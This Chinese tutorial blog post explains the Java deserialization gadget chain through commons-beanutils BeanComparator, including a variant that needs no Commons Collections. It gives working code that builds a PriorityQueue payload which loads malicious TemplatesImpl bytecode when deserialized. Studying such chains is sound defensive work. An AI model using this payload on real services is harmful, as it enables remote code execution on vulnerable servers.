Java反序列化漏洞(十)- cb链 无cc利用链
commons-beanutils 是 Apache 提供的一个用于操作 JAVA bean 的工具包。里面提供了各种各样的工具类,让我们可以很方便的对 bean 对象的属性进行各种操作。
其中比较常使用的有 MethodUtils/ConstructorUtils/PropertyUtils/BeanUtils/ConvertUtils等。
0x01 前置知识
在之前的利用链中,有这样一条链:
- PriorityQueue -> TransformingComparator -> ChainedTransformer -> InstantiateTransformer -> TemplatesImpl
在反序列化链中,由 TransformingComparator 触发 ChainedTransformer 来实例化 TemplatesImpl,找到一个 Comparator,绕过中间复杂过程,可以实例化 TemplatesImpl ,于是有了 CommonsBeanutils 这条链。
PropertyUtils
org.apache.commons.beanutils.PropertyUtils
类使用 Java 反射 API 来调用 Java 对象上的通用属性 getter 和 setter 操作的实用方法。这些方法的具体使用逻辑其实是由 org.apache.commons.beanutils.PropertyUtilsBean
来实现的。
这个类有个共有静态方法 getProperty()
,接收两个参数 bean (类对象)和 name(属性名),方法会返回这个类的这个属性的值。
类似于一个 Field 的反射工具类,不过不是直接使用反射取值,而是使用反射调用其 getter 方法取值。
那么既然可以触发 getter,那就可以像 fastjson 一样来触发 TemplatesImpl 的 getOutputProperties 方法,触发后续的调用链。
BeanComparator
org.apache.commons.beanutils.BeanComparator
是 commons-beanutils 提供的用来比较两个 JavaBean 是否相等的类,其实现了java.util.Comparator
接口。
BeanComparator 的 compare 方法接收两个对象,分别调用 PropertyUtils.getProperty()
方法获取两个对象的 property 属性的值,然后调用 internalCompare()
方法调用实例化时初始化的 comparator 的 compare 方法进行比较。
有了这个方法,就构造了完整的调用链。
0x02 攻击构造
代码为:
public class CommonBeanUtils {
public static String fileName = "CommonBeanUtils.bin";
public static void main(String[] args) throws Exception {
// 读取恶意类 bytes[]
InputStream inputStream = CommonBeanUtils.class.getResourceAsStream("Evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// 初始化 PriorityQueue
PriorityQueue<Object> queue = new PriorityQueue<>(2);
queue.add("1");
queue.add("2");
// 初始化 TemplatesImpl 对象
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
// _name 不能为空
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl, "sanshi");
// 反射将 TemplatesImpl 放在 PriorityQueue 里
Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] objects = (Object[]) field.get(queue);
objects[0] = tmpl;
// 初始化 BeanComparator
BeanComparator beanComparator = new BeanComparator("outputProperties");
// 反射将 BeanComparator 写入 PriorityQueue 中
Field field2 = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue, beanComparator);
writeObjectToFile(queue, fileName);
readFileObject(fileName);
}
public static void writeObjectToFile(Serializable obj, String fileName) throws IOException {
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(fileName))) {
oos.writeObject(obj);
}
}
public static Object readFileObject(String fileName) throws IOException, ClassNotFoundException {
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName))) {
return ois.readObject();
}
}
}
以上代码可成功构造反序列化利用,但是有一个问题是,由于 BeanComparator 的默认 comparator 是 ComparableComparator ,这是个 CommonCollections 中的类,导致了这明明是一条 CB 的触发链,却要同时依赖 CC。增加了很多利用的限制,那该如何逃出 CC 的依赖呢?
0x03 无CC利用链
在实例化 BeanComparator 时赋予其一个 JDK 自带的并且实现了 Serializable 接口的 comparator 即可,比如 java.util.Collections$ReverseComparator
和 java.lang.String$CaseInsensitiveComparator
等。
通过反射实例化 Comparator ,并在 BeanComparator 初始化时进行指定即可,这样就可以无需 CC 的依赖触发 CB 链了。
// 初始化 String$CaseInsensitiveComparator
Class c = Class.forName("java.lang.String$CaseInsensitiveComparator");
Constructor constructor = c.getDeclaredConstructor();
constructor.setAccessible(true);
Comparator comparator = (Comparator<?>) constructor.newInstance();
// 初始化 BeanComparator
BeanComparator beanComparator = new BeanComparator("outputProperties", comparator);
0x04 总结
1.利用说明:
- PriorityQueue 反序列化时调用 BeanComparator 的 compare,利用这个方法发射调用 TemplatesImpl 的 getOutputProperties 方法触发恶意类的实例化。
2.Gadget 总结:
- kick-off gadget:
java.util.PriorityQueue#readObject()
- sink gadget:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties()
- chain gadget:
org.apache.commons.beanutils.BeanComparator#compare()
3.调用链展示:
PriorityQueue.readObject()
BeanComparator.compare()
PropertyUtils.getProperty()
PropertyUtilsBean.getProperty()
TemplatesImpl.getOutputProperties()
4.依赖:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
免责声明
免责声明:本博客的内容仅供合法、正当、健康的用途,切勿将其用于违反法律法规的行为。如因此导致任何法律责任或纠纷,本博客概不负责。谢谢您的理解与配合!